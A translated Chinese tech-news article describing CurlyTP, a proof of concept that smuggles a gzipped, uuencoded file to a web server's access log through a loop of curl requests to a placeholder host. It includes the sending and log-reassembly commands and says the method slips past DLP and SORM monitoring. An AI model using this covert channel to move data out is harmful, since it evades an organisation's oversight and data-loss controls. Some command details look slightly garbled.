透過伺服器日誌交換秘密訊息

根據維基百科的定義,dead drop 是一種陰謀工具,用於使用秘密位置在人們之間交換資訊或某些物品。 這個想法是人們永遠不會見面,但他們仍然交換資訊以維護操作安全。

隱藏地點不應引起注意。 因此,在線下世界中,他們經常使用謹慎的東西:牆上的一塊鬆動的磚塊、圖書館的書或樹上的空洞。

網路上有許多加密和匿名工具,但使用這些工具的事實引起了人們的注意。 此外,它們可能會在公司或政府層級被封鎖。 怎麼辦?

開發商 Ryan Flowers 提出了一個有趣的選擇 - 使用任何網頁伺服器作為藏身之處。 如果你想一想,網頁伺服器是做什麼的? 接收請求、發出檔案並寫入日誌。 它記錄所有請求, 即使是不正確的!

事實證明,任何 Web 伺服器都允許您在日誌中保存幾乎所有訊息。 花兒想知道如何使用它。

他提供了這個選擇:

  1. 取得一個文字檔案(秘密訊息)並計算哈希值(md5sum)。
  2. 我們對其進行編碼(gzip+uuencode)。
  3. 我們故意向伺服器發出錯誤的請求來寫入日誌。

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

要讀取文件,您需要以相反的順序執行這些操作:解碼並解壓縮文件,檢查哈希值(哈希值可以通過開放通道安全地傳輸)。

空格替換為 =+=這樣地址中就沒有空格。 該程式被作者稱為 CurlyTP,使用 Base64 編碼,就像電子郵件附件一樣。 使用關鍵字發出請求 ?transfer?以便收件人可以輕鬆地在日誌中找到它。

在這種情況下,我們在日誌中看到了什麼?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

如前所述,要接收秘密訊息,您需要以相反順序執行操作:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

該過程很容易實現自動化。 Md5sum 匹配,文件內容確認所有內容均已正確解碼。

方法非常簡單。 「這個練習的目的只是為了證明檔案可以透過無辜的小網路請求傳輸,並且它可以在任何具有純文字日誌的網頁伺服器上運行。 從本質上講,每個網路伺服器都是一個藏身之處!」弗勞爾斯寫道。

當然,該方法僅在收件者有權存取伺服器日誌的情況下才有效。 但這種存取是由許多託管服務商提供的。

如何使用它?

Ryan Flowers 表示,他不是資安專家,也不會編製 CurlyTP 可能用途的清單。 對他來說,這只是一個概念證明,我們每天看到的熟悉的工具可以以非常規的方式使用。

事實上,這種方法比其他伺服器「隱藏」有許多優點,例如 數字死點海盜盒:它不需要伺服器端的特殊配置或任何特殊協定 - 並且不會引起流量監控人員的懷疑。 SORM 或 DLP 系統不太可能掃描 URL 來尋找壓縮文字檔案。

這是透過服務文件傳輸訊息的方式之一。 你可以記得以前一些先進的公司是如何放置的 HTTP 標頭中的開發人員職位 或在 HTML 頁面的程式碼中。

透過伺服器日誌交換秘密訊息

這個想法是只有 Web 開發人員才會看到這個復活節彩蛋,因為普通人不會查看標頭或 HTML 程式碼。

透過伺服器日誌交換秘密訊息

來源: www.habr.com

添加評論